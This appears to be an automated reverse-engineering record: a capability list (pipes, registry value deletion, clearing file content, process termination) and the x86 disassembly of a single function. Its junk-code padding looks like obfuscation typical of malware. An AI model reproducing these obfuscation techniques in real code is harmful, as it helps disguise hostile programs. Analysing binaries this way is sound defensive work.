Function at 0x10009362
Capabilities:
Accept command line arguments
Clear file content
Compare security identifiers
Create pipe
Create thread
Create two anonymous pipes
Delete registry value
Enumerate files on windows
Get file attributes
Get session user name
Parse pe header
Query environment variable
Set environment variable
Terminate process

Disassembly:
mov eax, 0x10085b10
call fcn.10084d78
mov eax, 0x165c
call fcn.10081530
mov eax, 0xe91a049f
mov byte [ebp - 0x6d], dl
mov dword [ebp - 0xfcc], eax
mov dword [ebp - 0xfc8], eax
mov dword [ebp - 0xfc4], eax
mov dword [ebp - 0xfc0], eax
xor eax, eax
push ebx
mov dword [ebp - 0x20], 0x971c1ec2
mov byte [ebp - 0x41], al
push esi
push edi
mov dword [ebp - 0xac], ecx
cmp byte [ebp - 0x41], al
je 0x100093ba
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCommState]
xor eax, eax
push 4
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x100093dd
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xfcc], 8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100093c5
xor eax, eax
xor esi, esi
mov dword [ebp - 0x1c], 0xfb0b0297
inc esi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x40], 0xb817
mov dword [ebp - 0x14], eax
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x14], esi
jge 0x10009413
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x78], ecx
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x100093fc
xor esi, esi
xor eax, eax
inc esi
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov edx, 0xf1a969ac
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x10009635
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x34], 0x734bd47c
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x1c]
imul ecx, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x1c]
sub ecx, dword [ebp + eax*4 - 0x78]
add ecx, 0xd606
mov dword [ebp - 0x28], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, 0xe215
mov eax, dword [ebp - 0x1c]
setge cl
cmp edx, ecx
sbb ecx, ecx
xor ebx, ebx
neg ecx
imul ecx, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x78]
cmp ecx, 0x237f
setne bl
xor edx, edx
add ebx, 0x17a84e60
cmp ebx, eax
mov eax, dword [ebp - 0x78]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
neg ecx
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x1c]
inc ecx
imul ecx, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x1c]
add ecx, dword [ebp + eax*4 - 0x78]
je 0x10009551
xor eax, eax
mov dword [ebp - 0x54], 0x1a6f
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x10009545
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jg 0x10009537
or ecx, 0xffffffff
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 0x6ac39b39
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x1000952c
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10009521
call dword [sym.imp.USER32.dll_WaitMessage]
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x10009510
or ecx, 0xffffffff
inc dword [ebp - 0x54]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x100094fe
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x100094f0
mov dword [ebp - 0x28], 0xfffffff8
jmp 0x10009622
movdqa xmm0, xmmword [0x10008140]
lea eax, [ebp - 0x12c0]
push eax
lea eax, [ebp - 0x12d0]
push eax
lea ecx, [ebp - 0x1478]
movdqu xmmword [ebp - 0x12d0], xmm0
call fcn.10028a23
lea ecx, [ebp - 0x209]
mov esi, eax
call fcn.1000935a
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x93c]
push dword [esi]
call fcn.100289e9
xor eax, eax
lea ecx, [ebp - 0x93c]
push 3
mov dword [ebp - 4], eax
call fcn.10028a14
push 3
lea ecx, [ebp - 0x93c]
mov esi, eax
call fcn.10028a14
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
setne dl
xor esi, esi
xor eax, eax
inc esi
cmp edx, esi
setl al
cmp eax, dword [ebp - 0x34]
je 0x100095f1
push 3
lea ecx, [ebp - 0x93c]
call fcn.10028a14
push esi
lea ecx, [ebp - 0x93c]
call fcn.10028a14
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x100095f3
mov eax, esi
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x10009611
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
or eax, 0xffffffff
lea ecx, [ebp - 0x93c]
mov dword [ebp - 4], eax
call fcn.10028a0f
inc dword [ebp - 0x1c]
xor eax, eax
mov edx, 0xf1a969ac
cmp dword [ebp - 0x1c], eax
jle 0x1000942a
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10009666
push eax
push 0x1b90
push 0x676
push 0x269
push 0xd19
push 0x1b26
push 0x1703
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
xor eax, eax
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x14], eax
jmp 0x10009683
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9bc], 1
inc dword [ebp - 0x14]
xor eax, eax
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10009672
mov eax, dword [ebp - 0x9bc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0xfffffffb
cmp dword [ebp - 0x20], 0x18
jl 0x1000976a
xor ebx, ebx
inc ebx
or esi, 0xffffffff
push ebx
lea ecx, [ebp - 0x760]
call fcn.100289a7
xor eax, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100096e8
push dword [ebp - 0x14]
lea ecx, [ebp - 0x760]
call fcn.10028a14
mov dword [eax], 0x2a1836cc
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x100096c4
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x760]
call fcn.10028a14
mov dword [eax], 0xfffffff3
jmp 0x1000973a
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1000972c
push 0x25e7
push 0xca6
push 0x2e7
push 0x894
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
xor eax, eax
push eax
lea ecx, [ebp - 0x760]
call fcn.10028a14
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x760]
push eax
call fcn.10028a14
cmp dword [eax], 0xffffffe8
je 0x100096fc
lea ecx, [ebp - 0x760]
mov dword [ebp - 4], esi
call fcn.10028a0f
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x18
jge 0x100096ab
jmp 0x1000976d
or esi, 0xffffffff
mov eax, 0xe91a049f
mov dword [ebp - 0xfac], eax
mov dword [ebp - 0xfa8], eax
mov dword [ebp - 0xfa4], eax
mov dword [ebp - 0xfa0], eax
xor eax, eax
mov dword [ebp - 0x20], 0x971c1ec2
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x100097a5
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCommState]
xor eax, eax
push 4
mov dword [ebp - 0x20], eax
pop ecx
jmp 0x100097be
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xfac], 8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100097ad
mov dword [ebp - 0x28], 0xfcb50bf3
lea ecx, [ebp - 0x1068]
mov dword [ebp - 0x40], esi
xor eax, eax
mov dword [ebp - 0x40], 0x7b051af7
inc eax
mov dword [ebp - 0x40], esi
push 3
mov dword [ebp - 0x40], eax
pop esi
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0x6e74e800
push esi
call fcn.100289a7
push 2
pop ebx
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x54], 0xfffffff6
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000982c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbd4], 7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10009814
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10009852
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1068]
call fcn.10028a14
mov dword [eax], 0xecb302af
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10009834
xor eax, eax
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x100098c6
mov dword [ebp - 0x2c], 0xe864896e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0xbd4]
mov eax, dword [ebp - 0x28]
imul ecx, dword [ebp + eax*4 - 0xbd4]
test ecx, ecx
jne 0x10009884
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xbd4]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xbd4]
cmp eax, 0x71dfd947
sete cl
or eax, 0xffffffff
cmp ecx, eax
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x100098c1
push eax
push eax
call edi
push eax
xor eax, eax
push eax
push eax
call dword [sym.imp.USER32.dll_CreateDialogParamA]
dec dword [ebp - 0x28]
jns 0x1000985a
dec dword [ebp - 0x54]
lea ecx, [ebp - 0x1068]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10028a0f
push ebx
lea ecx, [ebp - 0xd2c]
call fcn.100289a7
mov dword [ebp - 4], esi
xor eax, eax
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10009918
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd2c]
call fcn.10028a14
mov dword [eax], 0x571177e8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100098fa
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10009933
push dword [ebp - 0x20]
lea ecx, [ebp - 0xd2c]
call fcn.10028a14
cmp dword [eax], 0
jne 0x1000993b
inc dword [ebp - 0x20]
xor eax, eax
inc eax
cmp dword [ebp - 0x20], eax
jle 0x1000991d
or eax, 0xffffffff
lea ecx, [ebp - 0xd2c]
mov dword [ebp - 4], eax
call fcn.10028a0f
xor eax, eax
mov dword [ebp - 0x54], 0x57a55752
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10009975
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5f8], 0xd7f825e
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1000995d
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10009995
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x108], 0x87013dce
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000997d
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x100099b5
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x34c], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1000999d
xor eax, eax
mov dword [ebp - 0x104], ebx
cmp dword [ebp - 0x104], eax
jl 0x10009a1b
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100099db
push eax
push 0x1ec7
push eax
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10009a13
push 0x631
push 0x790
push 0x98f
push 0x2603
push 0x1866
push eax
push eax
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
xor eax, eax
dec dword [ebp - 0x104]
jns 0x100099c3
mov dword [ebp - 0x348], ebx
cmp dword [ebp - 0x348], eax
jl 0x10009b62
jmp 0x10009a31
xor eax, eax
mov dword [ebp - 0x1c], 0xd2ab60e7
mov dword [ebp - 0x34], 0x5aba9a98
mov dword [ebp - 0x1c], eax
jmp 0x10009b3a
mov eax, dword [ebp + eax*4 - 0x5f8]
xor ecx, ecx
mov eax, dword [ebp - 0x348]
inc ecx
sub ecx, eax
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
add eax, 0x5721
jne 0x10009a7c
cmp dword [ebp - 0x34], eax
jne 0x10009a7c
mov ecx, eax
jmp 0x10009a81
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, 0xe67e
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x108]
sub edx, eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x5f8]
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0x792891f4
setle al
xor ecx, ecx
sub eax, dword [ebp - 0x5f8]
mov dword [ebp - 0x54], eax
mov edx, dword [ebp - 0x54]
add edx, 0xe769
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x348]
mov eax, dword [ebp + eax*4 - 0x5f8]
cmp eax, edx
sete cl
xor edx, edx
mov dword [ebp - 0x5f8], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x108]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x108]
mov ecx, dword [ebp - 0x348]
mov eax, dword [ebp - 0x1c]
neg ecx
mov eax, dword [ebp + eax*4 - 0x108]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x108]
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setle cl
xor edx, edx
cmp ecx, 0x59141a9
setge dl
mov dword [ebp + eax*4 - 0x108], edx
inc dword [ebp - 0x1c]
xor eax, eax
inc eax
cmp dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x348]
jle 0x10009a47
cmp dword [ebp + eax*4 - 0x5f8], 0
jne 0x10009b62
dec dword [ebp - 0x348]
jns 0x10009a2f
mov eax, 0xe91a049f
lea ecx, [ebp - 0x99c]
mov dword [ebp - 0xf8c], eax
push 4
mov dword [ebp - 0xf88], eax
mov dword [ebp - 0xf84], eax
pop ebx
mov dword [ebp - 0xf80], eax
mov dword [ebp - 0x20], 0x971c1ec2
push ebx
call fcn.100289a7
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0xed0]
xor ebx, ebx
mov dword [ebp - 0x30], 0x19d29be1
inc ebx
push ebx
call fcn.100289a7
xor eax, eax
mov byte [ebp - 4], 5
push 4
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x10009bdc
push dword [ebp - 0x24]
lea ecx, [ebp - 0x99c]
call fcn.10028a14
push 4
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10009bbf
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x10009bfd
or ecx, 0xffffffff
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x11e4], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10009be8
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10009c29
push dword [ebp - 0x24]
lea ecx, [ebp - 0xed0]
call fcn.10028a14
mov dword [eax], 0xc01e
xor eax, eax
inc dword [ebp - 0x24]
inc eax
cmp dword [ebp - 0x24], eax
jl 0x10009c05
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], esi
jg 0x10009d38
mov dword [ebp - 0x20], 0x4e6d4f28
mov dword [ebp - 0x40], 0xd5493e6
mov dword [ebp - 0x40], 0x6a7f4ea1
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x40], 0x13f5e3d1
mov dword [ebp - 0x40], 0xcaea0a9f
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10009c7f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1568], 0x3703acb6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10009c67
xor eax, eax
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x10009d1b
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10009cab
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x880], 0xba07e4fc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10009c93
xor eax, eax
mov dword [ebp - 0x87c], eax
cmp dword [ebp - 0x87c], esi
jg 0x10009d12
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x99c]
push dword [ebp - 0x30]
call fcn.10028a14
mov dword [ebp - 0x11e0], 0xffff0005
lea ecx, [ebp - 0x99c]
push dword [ebp - 0x30]
call fcn.10028a14
push dword [ebp - 0x30]
lea ecx, [ebp - 0x99c]
call fcn.10028a14
xor ecx, ecx
push 0
cmp dword [eax], 0x3ddc
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x20]
inc dword [ebp - 0x87c]
pop eax
cmp dword [ebp - 0x87c], esi
jle 0x10009cb9
dec dword [ebp - 0x20]
jns 0x10009c8b
push eax
lea ecx, [ebp - 0xed0]
call fcn.10028a14
push 0
inc dword [eax]
inc dword [ebp - 0x30]
pop eax
cmp dword [ebp - 0x30], esi
jle 0x10009c35
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10009d54
push eax
push eax
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
lea ecx, [ebp - 0xed0]
call fcn.10028a0f
or edi, 0xffffffff
lea ecx, [ebp - 0x99c]
mov dword [ebp - 4], edi
call fcn.10028a0f
mov dword [ebp - 0x18], ebx
xor eax, eax
mov dword [ebp - 0x3c], 0xc407858f
mov dword [ebp - 0x2c], 0x24b5
mov dword [ebp - 0x38], esi
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x10009d99
push 0xce1
call dword [sym.imp.USER32.dll_MessageBeep]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1000a07a
mov dword [ebp - 0x18], 0xe8cff0ea
lea ecx, [ebp - 0x3bc]
mov dword [ebp - 0x1c], 0x8999d94b
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], 0xfffffff7
push 2
call fcn.100289a7
mov dword [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x28], 0x38140a97
mov dword [ebp - 0x2c], 0xa600
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10009e3b
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3bc]
call fcn.10028a14
mov dword [eax], 0x5741311e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10009e1c
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10009e56
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10009e53
push eax
push eax
call dword [sym.imp.USER32.dll_UnregisterClassA]
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff7
je 0x10009e40
cmp dword [ebp - 0x18], eax
jne 0x10009ef5
cmp dword [ebp - 0x1c], eax
jne 0x10009e6d
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10009ef5
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jg 0x10009eb4
push dword [ebp - 0x28]
lea ecx, [ebp - 0x3bc]
call fcn.10028a14
cmp dword [eax], 0
jne 0x10009eb2
inc dword [ebp - 0x28]
xor eax, eax
inc eax
cmp dword [ebp - 0x28], eax
jle 0x10009e94
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
inc eax
cmp dword [ebp - 0x1c], eax
jg 0x1000a05d
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3bc]
call fcn.10028a14
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x3bc]
mov esi, eax
call fcn.10028a14
mov ecx, dword [esi]
mov dword [eax], ecx
xor eax, eax
inc dword [ebp - 0x1c]
inc eax
cmp dword [ebp - 0x1c], eax
jle 0x10009ec3
jmp 0x1000a05a
mov dword [ebp - 0x48], 0x846b51f0
lea ecx, [ebp - 0xd08]
mov dword [ebp - 0x30], 0x336
push ebx
call fcn.100289a7
xor eax, eax
mov byte [ebp - 4], 7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10009f41
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd08]
call fcn.10028a14
mov dword [eax], 0x9242039c
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10009f1d
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], eax
jl 0x10009fbc
mov dword [ebp - 0x54], 8
lea ecx, [ebp - 0x3bc]
push dword [ebp - 0x24]
call fcn.10028a14
push dword [ebp - 0x24]
lea ecx, [ebp - 0x3bc]
mov esi, eax
call fcn.10028a14
xor edx, edx
mov ecx, dword [eax]
mov dword [esi], ecx
mov ecx, dword [ebp - 0x48]
cmp ecx, 0x2803
setge dl
xor eax, eax
imul edx, dword [esi]
test edx, edx
je 0x10009f93
cmp dword [ebp - 0x30], eax
je 0x10009f93
lea edx, [eax + 1]
jmp 0x10009f95
mov edx, eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x54]
cmp edx, eax
setge cl
mov dword [ebp - 0x18], ecx
dec dword [ebp - 0x24]
jns 0x10009f49
xor ebx, ebx
inc ebx
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x48]
cmp ecx, eax
lea ecx, [ebp - 0xd08]
setne dl
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
xor eax, eax
mov edi, dword [ebp - 0x20]
push eax
call fcn.10028a14
mov esi, dword [ebp - 0x30]
lea ecx, [ebp - 0x3bc]
mov dword [eax], edi
xor eax, eax
push eax
call fcn.10028a14
xor ecx, ecx
cmp edi, esi
setg cl
xor edx, edx
mov dword [eax], esi
mov eax, dword [ebp - 0x48]
cmp ecx, eax
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
imul ecx, dword [ebp - 0x28]
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
dec dword [ebp - 0x28]
cmp eax, ecx
je 0x1000a047
mov eax, ebx
jmp 0x1000a049
xor eax, eax
lea ecx, [ebp - 0xd08]
mov dword [ebp - 0x1c], eax
call fcn.10028a0f
or edi, 0xffffffff
push 3
pop esi
lea ecx, [ebp - 0x3bc]
mov dword [ebp - 4], edi
call fcn.10028a0f
xor eax, eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCommState]
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x2c], 0xc0021fbb
mov dword [ebp - 0x40], 0xfffb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1000a0ab
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1580], 0x585ed065
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000a093
xor eax, eax
push 2
mov dword [ebp - 0x48], eax
pop ebx
cmp dword [ebp - 0x48], ebx
jne 0x1000a339
mov dword [ebp - 0x28], 0x2d149feb
lea ecx, [ebp - 0x6b8]
mov dword [ebp - 0x30], edi
push esi
call fcn.100289a7
mov dword [ebp - 4], 8
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x4c], 0x479b69b2
mov dword [ebp - 0x54], 0x73468807
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000a110
push dword [ebp - 0x18]
lea ecx, [ebp - 0x6b8]
call fcn.10028a14
mov dword [eax], 0xe814b733
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000a0f2
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1000a126
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe0], 0
inc dword [ebp - 0x18]
xor eax, eax
inc eax
cmp dword [ebp - 0x18], eax
jl 0x1000a115
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x1000a31d
mov dword [ebp - 0x40], edi
lea ecx, [ebp - 0xa6c]
mov dword [ebp - 0x3c], 0x47d1afd0
mov dword [ebp - 0x40], 0x70cadd63
push ebx
call fcn.100289a7
push 9
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x20], 0x1e69d086
mov dword [ebp - 0x14], eax
jmp 0x1000a18a
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa6c]
call fcn.10028a14
mov dword [eax], 1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000a173
dec dword [ebp - 0xe0]
lea ecx, [ebp - 0x6b8]
mov esi, dword [ebp - 0xe0]
push dword [ebp - 0x28]
call fcn.10028a14
push dword [ebp - 0x28]
xor ebx, ebx
lea ecx, [ebp - 0x6b8]
cmp dword [eax], 0xbf9a
setl bl
call fcn.10028a14
xor ecx, ecx
cmp dword [eax], ebx
setg cl
cmp ecx, esi
je 0x1000a2a8
mov dword [ebp - 0x40], 0x982b
xor eax, eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x40], 0xcab43068
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1000a207
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x15a8], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000a1ef
xor eax, eax
push eax
lea ecx, [ebp - 0xa6c]
call fcn.10028a14
inc dword [eax]
jne 0x1000a28b
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1000a223
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x2c], 5
jle 0x1000a232
cmp dword [ebp - 0x38], eax
jne 0x1000a232
mov edi, eax
